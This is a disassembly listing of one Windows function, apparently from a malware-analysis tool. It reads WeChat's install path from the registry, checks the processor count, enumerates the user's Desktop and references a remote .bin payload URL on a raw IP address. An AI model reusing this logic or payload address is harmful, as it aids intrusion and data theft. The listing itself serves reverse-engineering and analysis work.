Function at 0x140005c4d
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xbf8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb70], 0xfffffffffffffffe
movups xmm0, xmmword [0x1400a3cc4]
lea rcx, [rbp + 0x420]
movaps xmmword [rcx], xmm0
lea rsi, [rbp + 0x820]
and qword [rsi], 0
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [rsi]
test eax, eax
je 0x140005cb3
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov byte [rbp + 0xac0], 2
jmp 0x140005ce9
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x820]
lea rsi, [rbp + 0xaa8]
mov rcx, rsi
call fcn.1400832f0
mov rcx, qword [rbp + 0x820]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp byte [rsi + 0x18], 2
jne 0x140005f29
lea rax, str.Unable_to_get_the_users_home_directory_n
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x140101830]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.140088720
mov dword [rsp + 0x20], 1
lea r8, str.SOFTWARETencent_bugReportWechatWindowsInstallDirWeChat_installation_path:
lea rsi, [rbp + 0xad0]
push 0x28
pop r9
mov rcx, rsi
mov rdx, 0xffffffff80000002
call fcn.140002370
cmp qword [rsi], 0
je 0x140005db1
mov rax, qword [rbp + 0xad8]
lea rsi, [rbp + 0x1d0]
mov qword [rsi], rax
mov qword [rbp + 0x820], rsi
lea rax, str.Unable_to_open_registry_subkey:
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140085a70]
mov qword [rbp + 0x828], rax
lea rax, [rbp + 0x820]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.140088720
mov rcx, rsi
call fcn.140001e04
jmp 0x14000613b
mov rdi, qword [rbp + 0xad8]
lea r8, [0x1400a1bf0]
lea rsi, [rbp + 0x1d0]
push 0xa
pop r9
mov rcx, rsi
mov rdx, rdi
call fcn.1400023f7
mov rbx, qword [rsi]
test rbx, rbx
je 0x1400060d2
mov r14, qword [rbp + 0x1d8]
mov r15, qword [rbp + 0x1e0]
test r15, r15
je 0x140005ea3
push 2
pop rax
push 4
pop rcx
push 3
pop rdx
lea r13, [rbx + r15]
xor r12d, r12d
push 1
pop r8
mov r10, rbx
lea r9, [r10 + 1]
mov r11b, byte [r10]
test r11b, r11b
js 0x140005e20
mov r11, r8
jmp 0x140005e94
cmp r11b, 0xe0
jae 0x140005e36
add r10, 2
cmp r9, r13
cmovne r9, r10
mov r11, rax
jmp 0x140005e94
cmp r11b, 0xed
jne 0x140005e61
cmp r9, r13
je 0x140005ea3
lea r9, [r10 + 2]
cmp r9, r13
je 0x140005ea3
cmp byte [r10 + 1], 0x9f
ja 0x14000656d
add r10, 3
mov r11, rdx
mov r9, r10
jmp 0x140005e94
add r10, 2
cmp r9, r13
cmove r10, r9
xor r9d, r9d
cmp r10, r13
setne r9b
add r9, r10
cmp r11b, 0xf0
jae 0x140005e84
mov r11, rdx
jmp 0x140005e94
xor r10d, r10d
cmp r9, r13
setne r10b
add r9, r10
mov r11, rcx
add r12, r11
mov r10, r9
cmp r9, r13
jne 0x140005e0f
mov qword [rbp + 0x828], rbx
mov qword [rbp + 0x830], r15
and qword [rbp + 0x820], 0
lea rax, [rbp - 0x50]
lea rcx, [rbp + 0x820]
mov qword [rax], rcx
lea rdx, [0x1400a1c18]
lea rcx, [rbp + 0x420]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rdx, [0x14007e296]
mov qword [rax + 8], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.1400884c0
mov rcx, qword [rbp + 0x820]
test rcx, rcx
je 0x140005f19
mov rdx, qword [rbp + 0x828]
call fcn.14002f699
mov rcx, rbx
mov rdx, r14
call fcn.14002f699
jmp 0x140006133
movups xmm0, xmmword [rbp + 0xaa8]
movups xmm1, xmmword [rbp + 0xab8]
lea rsi, [rbp + 0xa80]
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
lea rdx, str.Desktop
push 7
pop r8
mov rcx, rsi
call fcn.1400866c0
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rsi, [rbp + 0x420]
mov rcx, rsi
call fcn.14000b270
cmp qword [rsi], 0
jne 0x1400071f5
mov rbx, qword [rbp + 0x430]
test rbx, rbx
je 0x140006526
js 0x14000720d
mov rsi, qword [rbp + 0x428]
mov al, byte [0x14010a2e0]
push 1
pop rdx
mov rcx, rbx
call fcn.1400074e0
test rax, rax
je 0x140007214
mov qword [rbp + 0xb58], rax
mov rcx, rax
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov al, byte [0x14010a2e0]
push 1
pop rdx
mov rcx, rbx
call fcn.1400074e0
test rax, rax
je 0x140007221
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x420]
mov qword [rcx], rdi
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], rbx
mov byte [rcx + 0x18], 0
lea rdx, [0x1400d8f90]
push 1
pop r8
call fcn.1400866c0
lea rcx, [rbp + 0x420]
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov qword [rbp + 0xb00], rax
mov r8, qword [rcx + 0x10]
mov byte [rbp + 0xb6e], 1
mov qword [rbp + 0xb08], rdx
call fcn.140080f40
mov rdi, qword [rbp + 0x420]
mov r14, qword [rbp + 0x428]
test rdi, rdi
je 0x140006535
mov qword [rbp + 0xac8], rbx
mov rax, qword [rbp + 0x430]
mov qword [rbp + 0xb10], rdi
mov qword [rbp + 0xb18], r14
mov qword [rbp + 0xb20], rax
cmp rax, 3
mov r15, qword [rbp + 0xb58]
jbe 0x140006544
movabs rcx, 0x5c003f005c005c
cmp qword [rdi], rcx
je 0x140006be7
movabs rcx, 0x5c003f003f005c
cmp qword [rdi], rcx
je 0x140006be7
cmp rax, 0xf8
jae 0x140006808
cmp word [rdi + 2], 0x3a
jne 0x1400067e1
movzx eax, word [rdi + 4]
jmp 0x1400067b0
mov rax, qword [rbp + 0x1d8]
lea rsi, [rbp - 0x50]
mov qword [rsi], rax
mov qword [rbp + 0x820], rsi
lea rax, str.Unable_to_retrieve_registry_key_value:
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140085a70]
mov qword [rbp + 0x828], rax
lea rax, [rbp + 0x820]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.140088720
mov rcx, rsi
call fcn.140001e04
mov rcx, rdi
call fcn.14009bb8e
mov rcx, 0xffffffff80000002
call fcn.14009bb8e
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
lea rsi, [rbp + 0x820]
push 0x25
pop r8
mov rcx, rsi
call fcn.1400028b0
mov rdi, qword [rsi]
cmp rdi, 3
je 0x140007185
lea rdx, [rbp + 0x830]
mov rbx, qword [rdx - 8]
lea rsi, [rbp + 0x1e0]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], rbx
lea rdi, [rbp - 0x50]
lea rsi, [rbp + 0x1d0]
mov rcx, rdi
mov rdx, rsi
call fcn.1400046e5
mov rax, qword [rdi]
test rax, rax
je 0x14000718e
mov rdx, qword [rbp - 0x48]
movups xmm0, xmmword [rbp - 0x40]
lea rcx, [rbp + 0xb10]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016ae
mov rdi, rax
lea rdx, str.srcmain.rshttps:__107.175.3.10_Users_my2_20240204223955354.bin
mov rcx, rax
call fcn.14000204c
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rdi, [rbp + 0x820]
mov rcx, rdi
call fcn.1400102f0
mov cl, byte [rdi]
mov dl, byte [rdi + 1]
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_my2_20240204223955354.bin
call fcn.140002073
push 3
pop rcx
call fcn.140081580
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
push 0x25
pop r8
mov rcx, rdi
call fcn.1400028b0
mov rbx, qword [rdi]
cmp rbx, 3
je 0x140007194
lea rdx, [rbp + 0x830]
mov r14, qword [rdx - 8]
lea rdi, [rbp + 0x430]
mov r8d, 0xb0
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi - 0x10], rbx
mov qword [rdi - 8], r14
lea rdi, [rbp - 0x50]
lea rdx, [rbp + 0x420]
mov rcx, rdi
call fcn.1400046e5
mov rax, qword [rdi]
test rax, rax
je 0x14000719d
mov rcx, qword [rbp - 0x48]
movups xmm0, xmmword [rbp - 0x40]
lea rdi, [rbp + 0xad0]
movups xmmword [rdi + 0x10], xmm0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rdi + 0x20], xmm0
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov rcx, rdi
call fcn.1400016ae
mov rbx, rax
lea rdx, str.srcmain.rshttps:__107.175.3.10_Users_my2_20240204223955354.bin
mov rcx, rax
call fcn.14000204c
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rbx, [rbp + 0x820]
mov rcx, rbx
call fcn.1400102f0
mov cl, byte [rbx]
mov dl, byte [rbx + 1]
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_my2_20240204223955354.bin
call fcn.140002073
mov rcx, rdi
call fcn.140001b5f
lea rcx, [rbp + 0xb10]
call fcn.140001b5f
mov dword [rsp + 0x20], 0x20019
lea r8, str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment___The_number_of_CPUs_is:
lea rdi, [rbp + 0x820]
push 0x40
pop r9
mov rcx, rdi
mov rdx, 0xffffffff80000002
call fcn.140002370
cmp qword [rdi], 0
je 0x14000635a
mov r15, qword [rbp + 0x828]
lea rcx, [rbp + 0x420]
mov qword [rcx], r15
mov qword [rbp + 0x820], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x828], xmm0
call fcn.140001e04
jmp 0x1400063ab
mov rbx, qword [rbp + 0x828]
lea r8, str.NUMBER_OF_PROCESSORS
lea r14, [rbp + 0x420]
push 0x14
pop r9
mov rcx, r14
mov rdx, rbx
call fcn.1400023f7
mov r12, qword [r14]
mov r15, qword [r14 + 8]
mov r14, qword [r14 + 0x10]
mov rcx, rbx
call fcn.14009bb8e
test r12, r12
je 0x140006334
mov qword [rbp + 0x820], r12
mov qword [rbp + 0x828], r15
mov qword [rbp + 0x830], r14
mov rcx, 0xffffffff80000002
call fcn.14009bb8e
mov qword [rbp + 0x1d0], rdi
lea rax, [0x1400a1db0]
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140002117]
mov qword [rbp + 0x1d8], rax
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
call fcn.1400884c0
mov rax, qword [rbp + 0x830]
test rax, rax
je 0x1400071d3
mov rcx, qword [rbp + 0x820]
movzx edx, byte [rcx]
cmp edx, 0x2b
je 0x140006456
cmp edx, 0x2d
jne 0x140006465
mov dl, 1
cmp rax, 1
je 0x140007145
cmp rax, 9
jae 0x1400064e8
push 1
pop r8
movzx r9d, byte [rcx + r8]
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x140007145
inc r8
cmp rax, r8
jne 0x140006439
jmp 0x14000648b
dec rax
je 0x140007143
lea r8, [rcx + 1]
jmp 0x140006468
mov r8, rcx
cmp rax, 8
jae 0x1400064ac
xor edx, edx
movzx r9d, byte [r8 + rdx]
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x140007143
inc rdx
cmp rax, rdx
jne 0x140006470
mov rdx, qword [rbp + 0x828]
call fcn.14002f699
nop
add rsp, 0xbf8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor r9d, r9d
xor r10d, r10d
cmp rax, r9
je 0x14000648b
movzx r11d, byte [r8 + r9]
imul r10d, r10d, 0xa
seto bl
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x140007143
mov dl, 2
test bl, bl
jne 0x140007145
inc r9
add r10d, r11d
jno 0x1400064b2
jmp 0x140007145
push 1
pop rdx
xor r8d, r8d
cmp rax, rdx
je 0x14000648b
movzx r9d, byte [rcx + rdx]
imul r8d, r8d, 0xa
seto r10b
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x140007173
test r10b, r10b
jne 0x140007173
inc rdx
sub r8d, r9d
jno 0x1400064ee
mov dl, 3
jmp 0x140007145
movabs rbx, 0x300000002
jmp 0x140006cfb
mov rbx, r14
mov r15, qword [rbp + 0xb58]
jmp 0x140006c7f
je 0x1400067a0
cmp rax, 2
je 0x1400067e1
cmp rax, 1
jne 0x140006808
cmp word [rdi], 0
jne 0x140006808
jmp 0x140006be7
test r15, r15
js 0x14000720d
mov al, byte [0x14010a2e0]
push 1
pop rdx
mov rcx, r15
call fcn.1400074e0
test rax, rax
je 0x140007283
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x428], r15
mov rsi, r15
sub rsi, r12
jb 0x14000728b
mov rcx, rax
mov rdx, rbx
mov qword [rbp + 0xb60], rax
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0xb60]
mov qword [rbp + 0x430], r12
mov r9, r12
cmp rsi, 2
ja 0x1400065f7
lea rcx, [rbp + 0x420]
push 3
pop r8
mov rdx, r12
call fcn.1400a0020
mov rcx, qword [rbp + 0x420]
mov r9, qword [rbp + 0x430]
lea rax, [rcx + r9]
lea r10, [rbp + 0x420]
mov byte [rax + 2], 0xbd
mov word [rax], 0xbfef
add r9, 3
mov qword [rbp + 0x430], r9
mov rsi, r12
add rsi, 3
cmp rsi, r15
ja 0x14000726f
je 0x1400070c5
lea r8, [rbx + rsi]
mov r12, rsi
mov qword [rbp + 0xb48], r8
lea rax, [r8 + 1]
mov dl, byte [r8]
test dl, dl
js 0x140006649
push 1
jmp 0x14000665b
cmp dl, 0xe0
jae 0x14000666c
add r8, 2
cmp rax, r13
cmovne rax, r8
push 2
pop rdx
add r12, rdx
mov r8, rax
cmp rax, r13
jne 0x14000663a
jmp 0x1400070c8
cmp dl, 0xed
jne 0x14000669a
cmp rax, r13
je 0x1400070c8
lea rax, [r8 + 2]
cmp rax, r13
je 0x1400070c8
cmp byte [r8 + 1], 0x9f
ja 0x1400066c8
add r8, 3
push 3
pop rdx
mov rax, r8
jmp 0x14000665c
add r8, 2
cmp rax, r13
cmove r8, rax
xor eax, eax
cmp r8, r13
setne al
add rax, r8
cmp dl, 0xf0
jae 0x1400066b9
push 3
jmp 0x14000665b
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
push 4
jmp 0x14000665b
mov r8, r12
sub r8, rsi
jb 0x1400072be
cmp r12, r15
ja 0x1400072aa
mov rdx, qword [rbp + 0x428]
mov rax, rdx
sub rax, r9
cmp rax, r8
jae 0x14000671e
mov rcx, r10
mov rdx, r9
mov rsi, r8
call fcn.1400a0020
mov r9, qword [rbp + 0x430]
mov rcx, qword [rbp + 0x420]
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0xb58], rax
mov r8, rsi
jmp 0x140006725
mov qword [rbp + 0xb58], rdx
mov qword [rbp + 0xb50], r9
mov qword [rbp + 0xb60], rcx
add rcx, r9
mov rdx, qword [rbp + 0xb48]
mov rsi, r8
call sub.VCRUNTIME140.dll_memcpy
mov r9, qword [rbp + 0xb50]
add r9, rsi
mov qword [rbp + 0x430], r9
mov rax, qword [rbp + 0xb58]
sub rax, r9
cmp rax, 2
ja 0x140006789
lea rcx, [rbp + 0x420]
mov rdx, r9
push 3
pop r8
call fcn.1400a0020
mov rcx, qword [rbp + 0x420]
mov r9, qword [rbp + 0x430]
jmp 0x140006790
mov rcx, qword [rbp + 0xb60]
lea r10, [rbp + 0x420]
lea rax, [rcx + r9]
jmp 0x140006602
cmp word [rdi + 2], 0x3a
jne 0x1400067e1
movzx eax, word [rdi + 4]
test ax, ax
je 0x1400067d0
cmp ax, 0x2f
je 0x1400067be
movzx eax, ax
cmp eax, 0x5c
jne 0x1400067e1
movzx eax, word [rdi]
cmp eax, 0x2f
je 0x1400067e4
cmp eax, 0x5c
je 0x1400067e4
jmp 0x140006be7
movzx eax, word [rdi]
cmp eax, 0x2f
je 0x1400067e1
cmp eax, 0x5c
jne 0x140006be7
movzx eax, word [rdi]
cmp ax, 0x5c
je 0x1400067f2
movzx eax, ax
cmp eax, 0x2f
jne 0x140006808
movzx eax, word [rdi + 2]
cmp eax, 0x2f
je 0x140006be7
cmp eax, 0x5c
je 0x140006be7
mov qword [rbp + 0xb40], r14
mov qword [rbp + 0xb60], rdi
lea rax, [rbp + 0xad0]
mov qword [rax], 2
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov edi, 0x200
push 2
pop rax
mov qword [rbp + 0xb50], rax
xor eax, eax
mov qword [rbp + 0xb48], rax
xor r14d, r14d
xor ebx, ebx
cmp rdi, 0x201
jae 0x140006869
mov esi, 0x200
lea r12, [rbp + 0x420]
mov r15, rdi
mov r13, qword [rbp + 0xb60]
jmp 0x1400068d5
sub rdi, rbx
sub r14, rbx
cmp r14, rdi
mov r13, qword [rbp + 0xb60]
jae 0x1400068a9
lea rcx, [rbp + 0xad0]
mov rdx, rbx
mov r8, rdi
call fcn.14009ff60
mov rax, qword [rbp + 0xad0]
mov qword [rbp + 0xb50], rax
mov rax, qword [rbp + 0xad8]
mov qword [rbp + 0xb48], rax
mov r14, qword [rbp + 0xb48]
mov eax, 0xffffffff
cmp r14, rax
mov ebx, 0xffffffff
cmovb rbx, r14
mov qword [rbp + 0xae0], rbx
mov rsi, rbx
mov r12, qword [rbp + 0xb50]
mov r15, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r13
mov edx, r15d
mov r8, r12
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov r13d, eax
test eax, eax
jne 0x140006900
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140006976
mov edi, r13d
cmp r15, rdi
jne 0x14000692e
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400071da
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov rdi, r15
jmp 0x140006848
jb 0x140006848
cmp rsi, rdi
jb 0x14000724f
and qword [rbp + 0xb20], 0
cmp r13d, 2
mov r14, qword [rbp + 0xb40]
jbe 0x140006992
movzx ecx, word [r12 + 2]
lea r15, [0x1400d91a0]
cmp ecx, 0x3a
jne 0x14000699b
cmp word [r12 + 4], 0x5c
jne 0x14000699b
push 4
pop r13
jmp 0x140006a1d
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov r15, qword [rbp + 0xb58]
jmp 0x140006b8d
jne 0x140006a13
movzx edx, word [r12]
jmp 0x1400069ec
movzx edx, word [r12]
cmp r13d, 3
jbe 0x1400069ec
lea rax, [0x140101830]
cmp dx, 0x5c
jne 0x140007138
cmp ecx, 0x3f
je 0x140007138
cmp ecx, 0x5c
jne 0x1400069f8
movzx ecx, word [r12 + 4]
cmp ecx, 0x3f
je 0x14000712b
cmp ecx, 0x2e
jne 0x1400069fe
cmp word [r12 + 6], 0x5c
jne 0x1400069fe
add rdi, 0xfffffffffffffffc
add r12, 8
jmp 0x14000696d
cmp dx, 0x5c
jne 0x140006a13
movzx ecx, word [r12 + 2]
cmp cx, 0x5c
jne 0x140006a13
add rdi, 0xfffffffffffffffe
add r12, 4
push 8
pop r13
lea r15, [0x1400d91a8]
jmp 0x140006a1d
lea r15, [0x140101830]
xor r13d, r13d
lea rbx, [rdi + r13]
inc rbx
cmp rbx, r14
jbe 0x140006a93
lea r8, [rbx + rbx]
test r14, r14
je 0x140006a58
lea rax, [r14 + r14]
mov rcx, qword [rbp + 0xb60]
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], 2
mov qword [rbp + 0x1e0], rax
jmp 0x140006a60
and qword [rbp + 0x1d8], 0
lea rsi, [rbp - 0x50]
push 2
pop rdx
lea r9, [rbp + 0x1d0]
mov rcx, rsi
call fcn.14007fbe0
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
je 0x140006ace
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x140007263
cmp r13, r14
jbe 0x140006ac0
lea rcx, [rbp + 0xb10]
xor edx, edx
mov r8, r13
call fcn.14009ff60
mov rsi, qword [rbp + 0xb20]
mov rcx, qword [rbp + 0xb10]
mov rbx, qword [rbp + 0xb18]
jmp 0x140006ade
xor esi, esi
mov rbx, r14
mov rcx, qword [rbp + 0xb60]
jmp 0x140006ade
mov qword [rbp + 0xb10], rcx
mov qword [rbp + 0xb18], rbx
xor esi, esi
lea r8, [r13*2]
mov r14, rcx
lea rcx, [rcx + rsi*2]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
mov qword [rbp + 0xb20], rsi
mov rax, rbx
sub rax, rsi
cmp rax, rdi
jae 0x140006b31
lea rcx, [rbp + 0xb10]
mov rdx, rsi
mov r8, rdi
call fcn.14009ff60
mov rsi, qword [rbp + 0xb20]
mov r14, qword [rbp + 0xb10]
mov rbx, qword [rbp + 0xb18]
mov r15, qword [rbp + 0xb58]
lea r8, [rdi + rdi]
lea rcx, [r14 + rsi*2]
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov qword [rbp + 0xb20], rsi
cmp rsi, rbx
jne 0x140006b7b
lea rcx, [rbp + 0xb10]
mov rdx, rbx
call fcn.1400812a0
mov r14, qword [rbp + 0xb10]
mov rsi, qword [rbp + 0xb20]
mov r15, qword [rbp + 0xb58]
and word [r14 + rsi*2], 0
inc rsi
mov qword [rbp + 0xb20], rsi
xor ebx, ebx
cmp qword [rbp + 0xb48], 0
je 0x140006ba6
push 2
pop rdx
mov rcx, qword [rbp + 0xb50]
call fcn.140007570
test rbx, rbx
je 0x140006bcd
cmp qword [rbp + 0xb18], 0
je 0x140006c7f
mov rcx, qword [rbp + 0xb10]
push 2
pop rdx
call fcn.140007570
jmp 0x140006c7f
mov rdi, qword [rbp + 0xb10]
mov r14, qword [rbp + 0xb18]
mov rbx, r14
test rdi, rdi
je 0x140006c7f
lea rsi, [rbp + 0x420]
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.kernel32.dll_FindFirstFileW]
mov qword [rbp + 0xb50], rax
cmp rax, 0xffffffffffffffff
mov qword [rbp + 0xb40], r14
je 0x140006ca9
mov al, byte [0x14010a2e0]
push 0x30
pop rcx
push 8
pop rdx
call fcn.1400074e0
test rax, rax
je 0x140007238
mov rbx, rax
push 1
pop rax
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], r15
mov rax, qword [rbp + 0xac8]
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], rax
mov byte [rbx + 0x28], 0
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0x420]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
push 1
pop r14
jmp 0x140006cbd
push 2
pop r14
cmp qword [rbp + 0xb00], 0
je 0x140006c9c
push 1
pop rdx
mov rcx, qword [rbp + 0xb08]
call fcn.140007570
push 1
pop rdx
mov rcx, r15
call fcn.140007570
jmp 0x140006cf5
push 2
pop r14
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
cmp qword [rbp + 0xb40], 0
je 0x140006cd2
push 2
pop rdx
mov rcx, rdi
call fcn.140007570
cmp qword [rbp + 0xb00], 0
je 0x140006ceb
push 1
pop rdx
mov rcx, qword [rbp + 0xb08]
call fcn.140007570
cmp qword [rbp + 0xb50], 0xffffffffffffffff
je 0x140006c9c
cmp r14d, 2
jne 0x140006d5d
lea rsi, [rbp + 0x1d0]
mov qword [rsi], rbx
mov qword [rbp + 0x820], rsi
lea rax, str._e_n_
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140085a70]
mov qword [rbp + 0x828], rax
lea rax, [rbp + 0x820]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.140088720
mov rcx, rsi
call fcn.140001e04
jmp 0x1400070ad
lea rsi, [rbp + 0x434]
lea rdx, [rbp + 0x820]
mov r8d, 0x254
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xb60], rbx
mov qword [rsi - 0x14], rbx
mov rax, qword [rbp + 0xb50]
mov qword [rsi - 0xc], rax
mov dword [rsi - 4], r14d
movzx eax, word [rsi + 0x2c]
movzx edx, word [rsi + 0x2e]
movzx r8d, word [rsi + 0x30]
lea r9, [rbp + 0x466]
mov word [rbp + 0xb58], ax
cmp ax, 0x2e
sete al
test dx, dx
sete cl
mov dword [rbp + 0xb00], edx
xor edx, 0x2e
mov word [rbp + 0xb08], r8w
or dx, r8w
sete dl
mov r8, qword [r9 - 0x32]
mov qword [rbp + 0xb40], r8
or dl, cl
and dl, al
mov byte [rbp + 0xb48], dl
lea r12, [rbp + 0x1d0]
mov r13, qword [sym.imp.kernel32.dll_FindNextFileW]
lea rcx, [rbp - 0x50]
xor edi, edi
cmp r14d, 1
setne al
or al, byte [rbp + 0xb48]
je 0x140006ecf
mov r8d, 0x250
mov rcx, r12
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r14, qword [rbp + 0xb50]
mov rcx, r14
mov rdx, r12
call r13
test eax, eax
je 0x140006f92
cmp word [rbp + 0x1fc], 0x2e
jne 0x140006e5d
movzx eax, word [rbp + 0x1fe]
test ax, ax
je 0x140006e26
cmp ax, 0x2e
jne 0x140006e5d
cmp word [rbp + 0x200], 0
je 0x140006e26
mov rax, qword [rbp + 0xb60]
lock inc qword [rax]
jle 0x140007181
mov rsi, rdi
mov r14, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1d8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xb10], xmm0
movaps xmmword [rbp + 0xb20], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0xb30], eax
movzx ebx, word [rbp + 0x1fc]
movzx r15d, word [rbp + 0x1fe]
movzx r13d, word [rbp + 0x200]
mov r8d, 0x21e
lea rdi, [rbp - 0x50]
mov rcx, rdi
lea rdx, [rbp + 0x202]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140006f3d
mov rax, qword [rbp + 0xb60]
lock inc qword [rax]
jle 0x140007181
mov rsi, rdi
lea rdx, [rbp + 0x434]
mov eax, dword [rdx + 0x28]
mov dword [rbp + 0xb30], eax
movups xmm0, xmmword [rdx + 8]
movups xmm1, xmmword [rdx + 0x18]
movaps xmmword [rbp + 0xb20], xmm1
movaps xmmword [rbp + 0xb10], xmm0
mov r8d, 0x21e
mov rdi, rcx
lea rdx, [rbp + 0x466]
call sub.VCRUNTIME140.dll_memcpy
movzx r13d, word [rbp + 0xb08]
mov eax, dword [rbp + 0xb00]
mov r15d, eax
movzx ebx, word [rbp + 0xb58]
mov r14, qword [rbp + 0xb40]
mov eax, dword [rbp + 0xb30]
mov dword [rbp + 0xaf0], eax
movaps xmm0, xmmword [rbp + 0xb10]
movaps xmm1, xmmword [rbp + 0xb20]
movaps xmmword [rbp + 0xae0], xmm1
movaps xmmword [rbp + 0xad0], xmm0
mov r8d, 0x21e
mov rcx, r12
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0xb60]
mov rdi, rsi
mov esi, r15d
mov r15d, ebx
mov ebx, r13d
mov r13, qword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x140006fb5
mov r14, qword [sym.imp.kernel32.dll_GetLastError]
call r14
cmp eax, 0x12
je 0x140007039
call r14
mov r14d, eax
shl r14, 0x20
or r14, 2
xor eax, eax
mov qword [rbp + 0x828], rax
mov qword [rbp + 0x830], r14
mov eax, dword [rbp + 0xaf0]
lea r14, [rbp + 0x820]
mov dword [r14 + 0x38], eax
movaps xmm0, xmmword [rbp + 0xad0]
movaps xmm1, xmmword [rbp + 0xae0]
movups xmmword [r14 + 0x28], xmm1
movups xmmword [r14 + 0x18], xmm0
mov word [rbp + 0x85c], r15w
mov word [rbp + 0x85e], si
mov word [rbp + 0x860], bx
mov r8d, 0x21e
lea rcx, [rbp + 0x862]
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x820], 1
inc rdi
mov rcx, r14
call fcn.140001c88
xor r14d, r14d
lea rcx, [rbp - 0x50]
jmp 0x140006dfc
lea rsi, [rbp + 0x420]
and dword [rsi + 0x10], 0
lea rbx, [rbp + 0x820]
and qword [rbx], 0
mov rcx, rbx
call fcn.140001c88
mov rcx, qword [rsi + 8]
call qword [sym.imp.kernel32.dll_FindClose]
